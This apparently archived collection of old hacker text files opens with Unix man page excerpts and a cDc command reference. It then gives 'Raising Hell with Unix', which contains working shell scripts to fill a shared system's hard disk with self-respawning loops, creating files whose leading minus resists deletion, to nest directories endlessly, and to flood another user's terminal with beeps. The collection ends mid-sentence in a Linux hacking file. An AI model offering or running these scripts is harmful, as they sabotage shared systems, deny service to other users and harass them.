Interpret all the following arguments to mv as file names. This allows file names starting with minus.

-f
Force. Override any mode restrictions and the -i option. The -f option also suppresses any warning messages about modes which would potentially restrict overwriting.

-i
Interactive mode. mv displays the name of the file or directory followed by a question mark whenever a move would replace an existing file or directory. If you type a line starting with y, mv moves the specified file or directory, otherwise mv does nothing with that file or directory.

passwd: passwd changes (or installs) a password, login shell (-s option), or full name (-f option) associated with the user username (your own by default). chsh is equivalent to passwd with the -s option, and chfn is equivalent to passwd with the -f option.

Use `passwd -y' or yppasswd(1) to change your password in the Network Information Service (NIS). This will not affect your local password, or your password on any remote machines on which you have accounts. passwd calls yppasswd automatically if you do not have an entry in the local passwd file, and the -l option is not specified.

When changing a password, passwd prompts for the old password and then for the new one. You must supply both, and the new password must be typed twice to forestall mistakes.

If password aging is enabled, the first time an ordinary user enters the new password passwd checks to see if the old password has "aged" sufficiently. Password "aging" is the amount of time (usually a certain number of days) that must elapse between password changes. If "aging" is insufficient the new password is rejected and passwd terminates.

New passwords should be at least five characters long, if they combine upper-case and lower-case letters, or at least six characters long if in monocase. Users that persist in entering shorter passwords are compromising their own security. The number of significant characters in a password is eight, although longer passwords will be accepted.

Only the owner of the name or the super-user may change a password; the owner must prove he knows the old password. The super-user can change any password and is not forced to comply with password aging requirements.

When changing a login shell, passwd displays the current login shell and then prompts for the new one. The new login shell must be one of the approved shells listed in /etc/shells unless you are the super-user. If /etc/shells does not exist, the only shells that may be specified are /bin/sh and /bin/csh.

The super-user may change anyone's login shell; normal users may only change their own login shell.

When changing a full name, passwd displays the current full name, enclosed between brackets, and prompts for a new full name. If you type a RETURN, the full name is not changed. If the full name is to be made blank, you must type the word "none".

The super-user may change anyone's full name; normal users may only change their own.

-a Display the name and aging information for all users. Can only be invoked by the super-user.

-f
Change the full name.

-l
Change the local password, login shell, or full name. If username exists in the local passwd file, this is the default.

-s
Change the login shell.

-y
Change passwd, login shell, or full name in the NIS database.

-d [username]
Display the name and aging information for the caller or the user specified if the invoker has the right privileges.

-e username
Expire the password for the user name specified. Can only be invoked by the super-user.

-F filename
Treat filename as the password file.

-n numdays username
Set the maturity time of the password for username. Passwords that have not "aged" enough cannot be changed. Can only be set by the super-user.

-x numdays username

Set the expiration time of the password for username. Can only be set by the super-user.

ps: ps displays information about processes. Normally, only those processes that are running with your effective user ID and are attached to a controlling terminal (see termio(4)) are shown. Additional categories of processes can be added to the display using various options. In particular, the -a option allows you to include processes that are not owned by you (that do not have your user ID), and the -x option allows you to include processes without control terminals. When you specify both -a and -x, you get processes owned by anyone, with or without a control terminal. The -r option restricts the list of processes printed to "running" processes: runnable processes, those in page wait, or those in short-term non-interruptible waits.

ps displays the process ID, under PID; the control terminal (if any), under TT; the cpu time used by the process so far, including both user and system time), under TIME; the state of the process, under STAT; and finally, an indication of the COMMAND that is running.

The state is given by a sequence of four letters, for example, `RWNA'.

First letter indicates the runnability of the process:

R
Runnable processes.

T
Stopped processes.

P
Processes in page wait.

D
Processes in non-interruptible waits; typically short-term waits for disk or NFS I/O.

S
Processes sleeping for less than about 20 seconds.

I
Processes that are idle (sleeping longer than about 20 seconds).

Z
Processes that have terminated and that are waiting for their parent process to do a wait(2V) ("zombie" processes).

Second letter indicates whether a process is swapped out; blank Represented as a SPACE character, in this position indicates that the process is loaded (in memory).

W
Process is swapped out.

>
Process has specified a soft limit on memory requirements and has exceeded that limit; such a process is (necessarily) not swapped.

Third letter indicates whether a process is running with altered CPU scheduling priority (nice(1)): blank Represented as a SPACE character, in this position indicates that the process is running without special treatment.

N
The process priority is reduced,

<
The process priority has been raised artificially.

Fourth letter indicates any special treatment of the process for virtual memory replacement. The letters correspond to options to the vadvise(2) system call. Currently the possibilities are: blank Represented as a SPACE character, in this position stands for VA_NORM.

A
Stands for VA_ANOM. An A typically represents a program which is doing garbage collection.

S
Stands for VA_SEQL. An S is typical of large image processing programs that are using virtual memory to sequentially address voluminous data.

kernel-name specifies the location of the system namelist. If the -k option is given, c-dump-file tells ps where to look for the core dump. Otherwise, the core dump is located in the file /vmcore and this argument is ignored. swap-file gives the location of a swap file other than the default, /dev/drum.

pwd: pwd prints the pathname of the working (current) directory.

If you are using csh(1), you can use the dirs builtin command to do the same job more quickly; but dirs can give a different answer in the rare case that the current directory or a containing directory was moved after the shell descended into it. This is because pwd searches back up the directory tree to report the true pathname, whereas dirs remembers the pathname from the last cd(1)
command. The example below illustrates the differences.

example% cd /usr/wendy/january/reports example% pwd
/usr/wendy/january/reports
example% dirs
~/january/reports
example% mv ~/january ~/february
example% pwd
/usr/wendy/february/reports
example% dirs
~/january/reports
example%

pwd and dirs also give different answers when you change directory through a symbolic link. For example:

example% cd /usr/wendy/january/reports example% pwd
/usr/wendy/january/reports
example% dirs
~/january/reports
example% ls -l /usr/wendy/january
lrwxrwxrwx 1 wendy 17 Jan 30 1983 /usr/wendy/january -> /usr/wendy/1984/jan/ example% cd
/usr/wendy/january
example% pwd
/usr/wendy/1984/jan
example% dirs
/usr/wendy/january

The pathnames of files mounted with the Automounter can also change if the file is not used for a certain time interval (the default is five minutes).

rm: rm removes (directory entries for) one or more files. If an entry was the last link to the file, the contents of that file are lost. See ln(1V) for more information about multiple links to files.

To remove a file, you must have write permission in its directory; but you do not need read or write permission on the file itself. If you do not have write permission on the file and the standard input is a terminal, rm displays the file's permissions and waits for you to type in a response. If your response
begins with y the file is deleted; otherwise the file is left alone.

rmdir removes each named directory. rmdir only removes empty directories.
-
Treat the following arguments as filenames `-' so that you can specify filenames starting with a minus.

-f
Force files to be removed without displaying permissions, asking questions or reporting errors.

-i
Ask whether to delete each file, and, under -r, whether to examine each directory. Sometimes called the interactive option.

-r
Recursively delete the contents of a directory, its subdirectories, and the directory itself.

rmdir: rm removes (directory entries for) one or more files. If an entry was the last link to the file, the contents of that file are lost. See ln(1V) for more information about multiple links to files.

To remove a file, you must have write permission in its directory; but you do not need read or write permission on the file itself. If you do not have write permission on the file and the standard input is a terminal, rm displays the file's permissions and waits for you to type in a response. If your response
begins with y the file is deleted; otherwise the file is left alone.

rmdir removes each named directory. rmdir only removes empty directories.
-
Treat the following arguments as filenames `-' so that you can specify filenames starting with a minus.

-f
Force files to be removed without displaying permissions, asking questions or reporting errors.

-i
Ask whether to delete each file, and, under -r, whether to examine each directory. Sometimes called the interactive option.

-r
Recursively delete the contents of a directory, its subdirectories, and the directory itself.

spell: spell collects words from the named files, and looks them up in a hashed spelling list. Words that do not appear in the list, or cannot be derived from those that do appear by applying certain inflections, prefixes or suffixes, are displayed on the standard output.

If there are no filename arguments, words to check are collected from the standard input. spell ignores most troff(1), tbl(1), and eqn(1) constructs. Copies of all output words are accumulated in the history file, and a stop list filters out misspellings (for example, their=thy-y+ier) that would otherwise pass.

By default, spell (like deroff(1)) follows chains of included files (.so and .nx troff(1) requests), unless the names of such included files begin with /usr/lib.

If a +local_file argument is specified, words found in local_file are removed from spell's output. local_file is the name of a user-provided file that contains a sorted list of words, one per line. With this option, the user can specify a set of words that are correct spellings (in addition to spell's own
spelling list) for each job.

The standard spelling list is based on many sources, and while more haphazard than an ordinary dictionary, is also more effective in respect to proper names and popular technical words. Coverage of the specialized vocabularies of biology, medicine and chemistry is light.

Three programs help maintain and check the hash lists used by spell:

hashmake
Reads a list of words from the standard input and writes the corresponding nine-digit hash code on the standard output.

spellin
Reads n hash codes from the standard input and writes a compressed spelling list on the standard output.

hashcheck Reads a compressed spelling_list and recreates the nine-digit hash codes for all the words in it; it writes these codes on the standard output.

-b
Check British spelling. Besides preferring "centre", "colour", "programme", "speciality", "travelled", and so on, this option insists upon -ise in words like standardize, despite what Fowler and the OED say.

-l
Follow the chains of all included files.

-v
Print all words not literally in the spelling list, as well as plausible derivations from spelling list words.

-x
Print every plausible stem with `=' for each word.

-d hlist
Use the file hlist as the hashed spelling list.

-h spellhist
Place misspelled words with a user/date stamp in file spellhist.

-s hstop
Use hstop as the hashed stop list.

Not all command descriptions were listed here. But look for the update to this text, it will have more commands and more descriptions. This text file was just one of the many files made by The Psychotic Internet Services.

Unix bible

Canakar — Wed, 18 Feb 2009 23:35:05 CST

_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
_ _ _ _
((___)) ((___))
[ x x ] cDc communications, inc. [ x x ]
\ / presents... \ /
(` ') (` ')
(U) (U)

Gibe's UNIX COMMAND Bible
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The latest file from the Cow's Information Series,
Franken's UNIX Command Bible is suitable for the UNIX
dilettante, as well as for the hardcore hack. Provides
easy reference for those hard-to-remember commands.
Attractive print-out fits well in any decor.

Edited by High Priest and Scribe, F. Gibe

"Smash the State! Have a Nice Day!" ........ 1987

_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Command Description
~~~~~~~ ~~~~~~~~~~~

awk Search for a pattern within a file. Includes
a built-in programming language.

bdiff Compares two large files.

bfs Scans a large file.

cal Displays a calendar.

cat Concatenates and prints files.

cc C compiler.

cd Change directory.

chgrp Changes a file's group ownership.

chmod Changes a file's access permissions.

chown Changes the individual ownership of a file.

cmp Compares two files; diplays the location (line
and byte) of the 1st difference between these.

comm Compares two files so as to determine which
lines are common to both.

cp Copies a file to another location.

cu Calls another UNIX system.

date Returns the date and time.

df Displays free space in the file system.

diff Displays the differences between two files
or directories.

diff3 Displays the differences between three files
or directories.

du Reports on file system usage.

echo Displays its argument.

ed Text editor.

ex Text editor.

expr Evaluates its argument which is generally
a mathematical formula.

f77 FORTRAN compiler.

find Locates the files w/ specified characteristics.

format Initializes a floppy disk.

grep Searches for a pattern within a file. (see awk)

help Salvation.

kill Ends a process.

ln Used to link files.

lpr Copies the file to the line printer.

ls Displays info. about one or more files.

mail Used to receive or deliver e-mail.

mkdir Creates a new directory.

more Displays a long file so that the user
can scroll through it.

mv Used to move or rename files.

nroff Used to format text.

ps Display a process's status.

pwd Display the name of the working directory.

rm Removes one or more files.

rmdir Deletes one or more directories.

sleep Causes a process to become inactive for a
specified length of time.

sort Sort and merge one or more files.

spell Finds spelling errors in a file.

split Divides a file.

stty Display or set terminal parameters.

tail Displays the end of a file.

troff Outputs formatted output to a typesetter.

tset Sets the terminal type.

umask Allows the user to specify a new creation
mask.

uniq Compares 2 files. Finds and displays lines
in one file that are unique.

uucp UNIX-to-UNIX execute.

vi Full screen editor.

wc Displays details in the file size.

who Info. on who else be online.

write Used to send a message to another user.
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
That's the Summary. Now print it out, if you'd like. Good for fast
referencing. Following the Summary is a more in-depth look at each
of the commands already listed.
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

awk program filenames
awk -f programfilenames filenames
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The [awk] utility can be used to find any lines in a file which
match a certain pattern; once found, these lines can be processed.
In the first configuration, the program that [awk] is to
execute is specified in the command line. In the second,
the program is stored as the file given in programfilename.
The -f option instructs [awk] to read this file.

[bdiff] is used to compare files too large for [diff]. See
[diff] for the format.

bfs filename
~~~~~~~~~~~~
[bfs] is used to scan a large file to determine where to split
it into smaller files.

cal 01-12 (month) 0-9999 (year)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[cal] utility can be used to display a calendar of any year
from 0 to 9999 AD, and any or all of the twelve months.

cat filename
~~~~~~~~~~~~
[cat] can be used to examine a short file. See [more] for
lengthier files.

number[cc]
~~~~~~~~~~
The [cc] command changes the entire current line, or a group
of lines starting with the current line. [number] represents
the number of old lines to be deleted.

cd directory name
~~~~~~~~~~~~~~~~~
The [cd] command causes the current working directory to be
changed. The [directory name] can be either a full or partial
path name.

chgrp groupname filename
~~~~~~~~~~~~~~~~~~~~~~~~
This command changes the group ownership of a file.

chmod {ugoa} {+-} {rwx}
~~~~~~~~~~~~~~~~~~~~~~~
The [chmod] utility changes a file's access permissions. [u]
specifies the user or owner's login name, [g] specifies a group
and [o] indicates all others. [a] indicates the user, group,
and all others; c'est the default. [+] adds permission; [-]
deletes it. [r] indicates read, [w] write, and [x] execute.

chown individualname filename
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[chown] changes the individual ownership of a file (see chgrp).

cmp filename1 filename2
~~~~~~~~~~~~~~~~~~~~~~~
[cmp] is one of the four principle UNIX file comparison utilities.
It compares 2 files, and returns the positions where they differ.

comm -options filename1 filename2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The [comm] utility, in comparing two files, produces three
columns of output. The first contains lines unique to the
first file, the second, lines unique to the second, and the
third column, lines common to both files. By placing the
numbers [1], [2], and/or [3] in the [options] position, any
one (or more) of these columns can be suppressed.

cp sendingfile receivingfile
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The [cp] command copies a file. [sendingfile] is the file to be
copied, [receivingfile] is the file to which it is copied.

diff [options] filename1 filename2
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Again, a file comparison utility. However, with [diff], the
differences are displayed as instructions that can be used
to edit the files so that they are identical.

diff3 filename1 filename2 filename3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Similar to [diff], [diff3] is unique in that it can compare
three files. Gee.

ed filename
~~~~~~~~~~~
One of the UNIX's three editing utilities, [ed] is a basic line
editor. I'm sure there are other files that will explain how
to use [ed]. Thus, I'll confine myself to a rough outline:
e filename ........... edit a different file
f filename ........... changes the currently specified file.
h .................... provides explanation of errors.
I
text ................. inserts text before the current line.
line,linel ........... lists the specified lines.
line,linen ........... displays specified lines, preceded by
their line numbers.
q .................... exit from [ed]
w .................... writes buffer to current filename.
+ or - ............... +number of lines closer to end
-number of lines closer to beginning.

expr formula
~~~~~~~~~~~~
Utility which evaluates an expression.

find directory searchcriteria parameter actioncriteria parameter
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The [find] utility can be very useful indeed, especially when
confronted by a UNIX with countless files. Basically, this
command finds files which meet certain criteria, and then
performs an operation (such as printing the files). Search
criteria consists of the following:

Criteria Parameter Description
~~~~~~~~ ~~~~~~~~~ ~~~~~~~~~~~
-name filename Files whose names match [filename]
will meet this criteria.
-type filetype Files whose type matches that specified
[b] block special will meet criteria.
[c] character spec. file
[d] directory file
[f] plain file
-links +/- x Files with # of links indicated by
+ or - x meet this criteria.
-user login name Files belonging to user with given
or user ID # login name or ID # meet criteria.
-group group name Files belonging to group with given
or group ID # group name or ID # meet this criteria.
-size + or - x Files greater than +x bytes or less
than -x bytes meet this criteria.
-atime + or - x Files not accessed within +x days,
accessed within -x days, or acc-
essed x days ago meet criteria.
-mtime + or - x Files NOT modified within +x days,
modified within -x days, or modified
x days ago will meet this criteria.
-newer filename Files modified more recently than
[filename] meet this criteria.
Action Criteria " "
~~~~~~~~~~~~~~~ ~ ~
-print - When search criteria are met, path
name of the file is displayed.
-exec command{ }\; Executes given command when search
criteria are met. { } indicates file-
name, [\;] ends the command.
-ok command{ }\; Exactly like -exec, except user is
prompted [y] or [n] before command.

grep -options searchstring filenames
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Another search command, this for a particular string of chars.

ln original new
~~~~~~~~~~~~~~~
[ln] establishes a file link. For this utility, [original] repre-
sents the filename to be linked, [new] the filename of the new
link to the original.

[ls] provides directory information. [ls -l/] displays a more
complete version of the info. list.

mail username username
~~~~~~~~~~~~~~~~~~~~~~
This utility allows e-mail to be sent to other system users.

mail
~~~~
Simply typing [mail] checks the user's own mailbox.
When sending mail, several items must be set:
~s text ............ sets the subject field
~c user names ...... sends other users carbon copies of mail
m user names ....... activates the compose mode, with the
specified users as the message's recipients.
~h ................. displays and allows editing of all headers.
^D ................. ends message editing; sends mail.
~r filename ........ places file in body of message (keen command)

Reading One's Own Mail:
h number or range ....... causes specified headers to be displayed
p message # ............. displays entire message
d number or range ....... deletes specified messages
u number or range ....... undelete specified mail during SAME
mail session (messages removed after q)
q ....................... leave the post office

mkdir directoryname
~~~~~~~~~~~~~~~~~~~
[mkdir] allows creation of a subdirectory, for your dining
enjoyment.

more filename
~~~~~~~~~~~~~
For longer files, [more] is a convenient utility. It will display
the first screen of file data and then stop, allowing the user
to control scrolling henceforth.

mv oldfilename newfilename
~~~~~~~~~~~~~~~~~~~~~~~~~~
The [mv] utility can be used simply to rename a file, or...

mv filea fileb... directory
~~~~~~~~~~~~~~~~~~~~~~~~~~~
[mv] can also be used to move files to a new directory, provided
the directory exists, and you have write access to it.

ps -options
~~~~~~~~~~~
The [ps] command, by itself, displays the status of each active
process controlled by your terminal. This status report includes
the Process Identification Number (PID), the terminal (TTY), the
time the process has been executing (TIME), and the command line
used to execute the process (CMD).
[ps]'s three options include -a (displays info. on active processes
controlled by any terminal), -x (info. on ALL active processes), and
-l (an extensive status report on all active processes).

pwd
~~~
[pwd] command displays the present working directory.

rm filename
~~~~~~~~~~~
[rm] removes a file. More than one file can be specified.

rmdir directoryname
~~~~~~~~~~~~~~~~~~~
This utility removes a directory, an EMPTY directory (save the
hidden files).

sleep seconds
~~~~~~~~~~~~~
The [sleep] utility causes a process to become inactive for a
certain period of time. Max. seconds is 65,536 (about 18 hrs).

sort -options filenames
~~~~~~~~~~~~~~~~~~~~~~~
[sort] merges and sorts files. Without options, [sort] orders
files by the ASCII codes of the characters at the beginning
of each line. Options include -b (leading blanks ignored), -d
(only letters, digs, and blanks considered; "dictionary sort"),
-f (case ignored), -n (numerical sort [for numerical data]), and
-r (a reverse sort).

split -size original resulting
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[split] divides a large file into smaller ones. [size] refers to
the number of lines the resulting files contain, [original] is
the name of the orig. file, and [resulting] represents the
prefix name assigned to the newly created files.

umask ugo
~~~~~~~~~
[umask] changes the file CREATION mask (see [chmod] for already
existing files). Here, [u] represents the owner's access
permission, [g] the group's a.p., and [o] the a.p. for all others.

[uucp] (UNIX to UNIX copy) can be used to send files to a
remote UNIX, or retrieve files from the remote system.
Other UNIX comm commands include [cu] (which establishes contact
with another system), and [uux] (UNIX to UNIX execute; allows
commands to be executed on a remote system).

wc -options filenames
~~~~~~~~~~~~~~~~~~~~~
The [wc] utility displays file-size information. This includes
the number of lines, words, and characters. By chosing the
-l, -w, or -c options, the information can be limited to only
line, word, or character number.

who
~~~
A very useful command (which some systems respond to even before
a user is actually logged on), [who] displays a list of users
currently online. This list includes the user's name, terminal
device # (tty), and the log-in time. [who am i] displays info.
only on the user who executed the command.

_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Alright. You may have noticed that this isn't EXACTLY a Bible. I
took the liberty of omitting some of the command explanations.
But, if anyone REALLY wants to know more about [vi], or [stty],
or (perhaps more justifiably) have a more comprehensive guide
to the mail system, I'll be glad to write some 'by request'
text files.
_______________________________________________________________________________
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(c)1987 cDc communications by Franken Gibe 0/0/87-14
All Rights Smeared Across The Wall

Raising Hell with unix

Canakar — Wed, 18 Feb 2009 23:33:51 CST

* Data Kult * °²°²°²°²°²°²°²°²° * Kryptic Night *
Lord Logics ²° Raising °² Bounty Hunter
Shadow Walker °² Hell ²° Nacht Habicht
- S M C - ²° with Unix °² - S M C -
Realm of Infinity °²Kryptic Night²° The Viking's Den
(503)629-0814 ²°²°²°²°²°²°²°²°² (408)867-1224
SMC Home - S M C - Western Dist.
Production # 3
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

I - Introduction

This file will describe several ways to cause mischief on a Unix system.
Like the other SMC Productions, I will try to present the information at a
beginners level. However, all levels of hackers should benefit in some way
from the information contained within. And now... on with our show...

II - How To Fill a Hard Disk

There are several ways to cause havoc by filling up a systems hard
disk. Filling up a hard disk will make it so that the system cannot create
the temporary files vital to it's efficient use. It will also cause other
problems, such as a person trying to save a 10 page financial report, and
finding that there is no room for it. Also, if the HD is full, the system
will not run properly. You will be bombarded by a continuous stream of
'write failed, file system is full'. Over all, this is a very good way to
piss people off.

Step One
Create the following file with the 'ed [filename]' utility under the
bourne shell, or the 'edit [filename]' under the C shell. The filename can
be whatever you want, here I will call it 'hah1'. Only type in what is
contained within '[]'s, the other text is what the system will send to
you.

$[ed hah1]
0
*[a]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[nohup hah1 &]
[^C]
*[w]
754
*[q]
$[chmod +r+w+x hah1]
$[nohup hah1 &]
1234
$

This will create a file called '-fucku!'. Files beginning with a '-'
are very difficult to delete, as when you try to do a 'rm -fucku!'
<rm - remove file> It interprets the '-f' as an option, it tries then
to force delete the file 'ucku!'. As you can imagine.... this wouldn't
quite work. The text after the echo can be anything you wish, I just
used a sample text that is quite pointless and takes up space. The numbers
represent the file size, and process number, they will be different on
your system.
The file will add the text from the echo statement to the file '-fucku!'
until it reaches the 'hah1 &' command, which will make it start over again.
This is an endless loop. For as long as you are on-line, and their are
processes left, the file will continue to add to the file. This is a
very slow method, but it's easy if you are starting from scratch. If
you get a message such as 'cannot fork hah1: process terminated' that means
that the loop is taking up so much memory that the system can no longer
continue with that job. Don't worry, it will settle back to normal after all
the processes are eventually killed, if it does, continue to run the file
in the background until you have a '-fucku!' file that is about 100-200k
long, this will allow us to progress to our next step.

The command 'nohup hah1 &' tells unix to continue to run the 'hah1'
in the background, even after you hangup. This means you can run the
program, hang up, and call back. This function will only work under
the bourne shell. If you have a prompt of '$', then you are using the
bourne shell. This function will become exceedingly useful when we
start with the next step.

The command 'chmod +r+w+x hah1' will make the file readable, writable, and
executable by you. This string may or may not be necessary on the system you
are using. If you get a message such as 'hah1: Permission Denied' than you
will need to use the chmod command. And now onto the next step...

Step Two
We will now explore the ever powerful 'cat' command. The 'cat' command
is the equivalent of the MS-DOS 'type' command. We will use a function
of the unix system called redirection that will allow us to 'cat' files
into each other. This will cause the source file to be copied to the end
of the destination file, I'm sure you're beginning to see the mischief
you can cause with this.
To begin with, create a file called '-fucku2' the same way you created
the '-fucku!' file. Try to run the 'hah1' program until the new 'fucku2'
file is around 100-200k also. This isn't absolutely necessary, but it's
helpful and saves some time.
Next, create the following file with the editor <'ed' or 'edit'>.
I will call it 'hah2', but you may call it whatever you wish.

$[ed hah2]
0
*[a]
[cat -fucku! >> -fucku2]
[cat -fucku2 >> -fucku!]
[no
hup hah2 &]
[^C]
*[w]
61
*[q]
$[chmod +r+w+x hah2]
$[nohup hah2 &]
7049
$

What we've just done is create a very short, and very nasty, program
that can fill 20 megs in under 5 minutes. The file when run will add the
contents of '-fucku!' to the end of '-fucku2', and do the reverse. This
means that when you have two files of 100k to begin with, you will get
the following results after every completed loop...

-fucku! .. -fucku2 .. -fucku! .. -fucku2
100k >> 200k >> 300k >> 500k
700k >> 1200k >> 1900k >> 3100k

As you can see, the file grows VERY quickly. Set it up in the morning
before school, come back and the HD should be completely full. You may
wish to also run multiple write processes, just to confuse the system.
If you do, rename the files to something appropriate, but maintain the
base content. If you do it in several directories, the sysop will have
to do some serious cleaning to get rid of it.

Step Three
Sit back and laugh. If you wait awhile, in approximately 30 minutes,
the average 40 meg hard drive will be full. I've tested this method on
several systems, even an ancient VAX, and the results were more or less
the same. The sysop, or any other user, will be able to write anything
onto the system until this problem is resolved. Many programs need
to create temporary files to even operate. These programs are now
completely unusable, except for the few that save to memory. To delete
the files, the sysop will have to do one of several things, all of which
are very unpleasant. And now for the next lesson...

III - Mischief

This section will describe a couple of ways of perpetrating mischief on a
unix system. These ideas are for the most part harmless, but can definitely
piss people off. The idea of a continuous subdir was molded from one
presented by Shooting Shark.

Idea #1
This method will create an endless amount of directories under a
the current directory. Create multiple files with different name and
directories to really annoy the 'sop. Type the following to accomplish this.

$[ed sub1]
0
*[a]
[mkdir -FuCkU!1]
[chdir -FuCkU!1]
[/xxx/xxx/sub1 &]
[^C]
*[w]
69
*[q]
$[chmod +r+w+x sub1]
$[nohup sub1 &]
7099
$

This program will create a directory called '-FuCkU!1', change to that
directory, then create another one under the first one, and so forth. It
is an endless loop, and will continue virtually forever. The third line
of the program contains a string '/xxx/xxx/sub1 &'. You will need to fill
in the x's with your current directory. To find out your current directory
type 'pwd' this will print a string telling which directory you are in.
Fill in the x's with this data. The rest of the program you should be able
to figure out by now. Try it, you'll like it.

Idea #2
So, you've seen someone on the system that you really don't like? Or do
you just want to piss someone off? This methods for you. This method will
describe a way to send out data to another user, or terminal. Here is what
you will want to type to create a file to anger the other user.

$[ed beep]
0
*[a]
[echo ^G ^G ^G ^G Wheee!!! ^G ^G ^G >> /dev/xxxx]
[nohup beep &]
[^C]
*[w]
25
*[q]
$[chmod +r+w+x beep]
$[nohup beep &]
8002
$

Fill in the '/dev/xxxx' with the terminal you want to annoy. To find out
the terminal of the person you want to fuck over, type 'who' it will print
out something like this....

$[who]
guest ttyd0 Nov 30 19:06
root console Nov 30 19:20
Bendover ttyd5 Nov 30 18:45

$

The first column is the name of the user, the second column tells us
what terminal they are logged on as, and the third states at what time
they logged on. The second column is what we need right now. Fill in the
x's with the terminal that you wish. If you wanted to bother the root, you
would type '/dev/console', to bother guest type '/dev/ttyd0'. To bother
more than one terminal, just add another line after the first 'echo'
statement with a different terminal identifier. With the 'nohup' command,
the computer will send a continuous outpouring of beeps until he logs off
or reboots the system. Try it on the terminal you are logged on under to
see exactly what it does.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IV - Conclusion

These projects should be enough to get you started on your road to Unix
Hell. With a little experience you will be able to think of new ideas that
will alloy you access to the systems hidden features and assets. I will
release other files on Unix in the near future, possibly one on basic Unix
hacking, FTP, UUCP netting, or any number of other Unix related concepts.
If you are interested in learning more on Unix, you can contact me on the
systems at the top of the file. Thus concludes one dark Kryptic Night...

V - Bibliography and Suggested Reading

Unix Use and Security From the Ground Up: by the Prophet in 1986
This is probably the BEST file I've ever seen on the subject
of Unix. It is written for the beginner, and contains valuable
information for the advanced user. The Prophet became a member
of Lod/H and is currently serving a sentence of 20 months in
relation to the big Lod/H bust of '90.

Articles on unix trojans and mischief: by Shooting Shark
Shooting Shark presents some interesting information
on various ways to commit havoc on Unix systems.
You can find most of his essays in both Phrack and Lod
magazines.

Lod/H Tech Journals
The Legion of Doom/Hackers are perhaps the most skilled
and knowledgable hackers in the underground society.
Their 'Tech Journals' describe almost anything you'd ever
want to know about illegal activities.

Phrack Magazines
Phrack is also one of the best sources for information on
a multitude of subjects, ranging from social engineering,
to carding, to making explosives. For those with free time,
download all of the 32 articles released to date.

Creating Users on Unix
This was my second text file release. It tells how to
create new users on a Unix system using the root account.
It is told for beginner and advanced hacker alike.

VI - Greets

Heh, Data Kult, when you gettin' Kelsea's phone number?
Bounty Hunter, cool new software, hope you can work out the bugs.
Lord Logics, ega STILL? Come on! Get with it!
Scooter, chill with the 800's
Oolon, get Entropy back up!
Digital Derelict, Jerusalem is nothing.... you're going down... soon

|
| \
| /\/\ / ³\ ÄÂÄ
| / \ / ³ \ A ³ A
| / |/| / / \ ³ / ³ /
|/ | < \ ³/ ³/ U L T
|\ RYPTIC / | \ \ / ³\
| \ / | \ ³ \
|\ | | \
| \ |
| \|IGHT
/ `

- Kryptic Night, Data Kult, Lord Logics, Shadow Walker, Bounty Hunter -
Nacht Habicht

Hacking From Linux

Canakar — Wed, 18 Feb 2009 23:33:16 CST

Installing & Hacking From Linux...

All you people that thought you were good hackers, because you could fool
dumb sysadmins, and do a bit of social engineering, or hack something by
following someones carefully prepared text file. Well you're about to get
fucked if you read this text file you will find out that you are a hacker
but, the only thing you can do is use someone elses ideas. So with that in
mind here goes.
I wrote this text file because i know a lot of people who could
benefit from learning to use linux, especially when hacking.
First of all you need to get linux installed on your system so goto
http://www.redhat.com I would suggest you invest $40 in buying the newest
version of RedHat linux this way you will get all the files you want/need
on one cd. If you have a problem with paying that price, then contact me
and i will ship you a copy for half that price, yes only $20! If you are
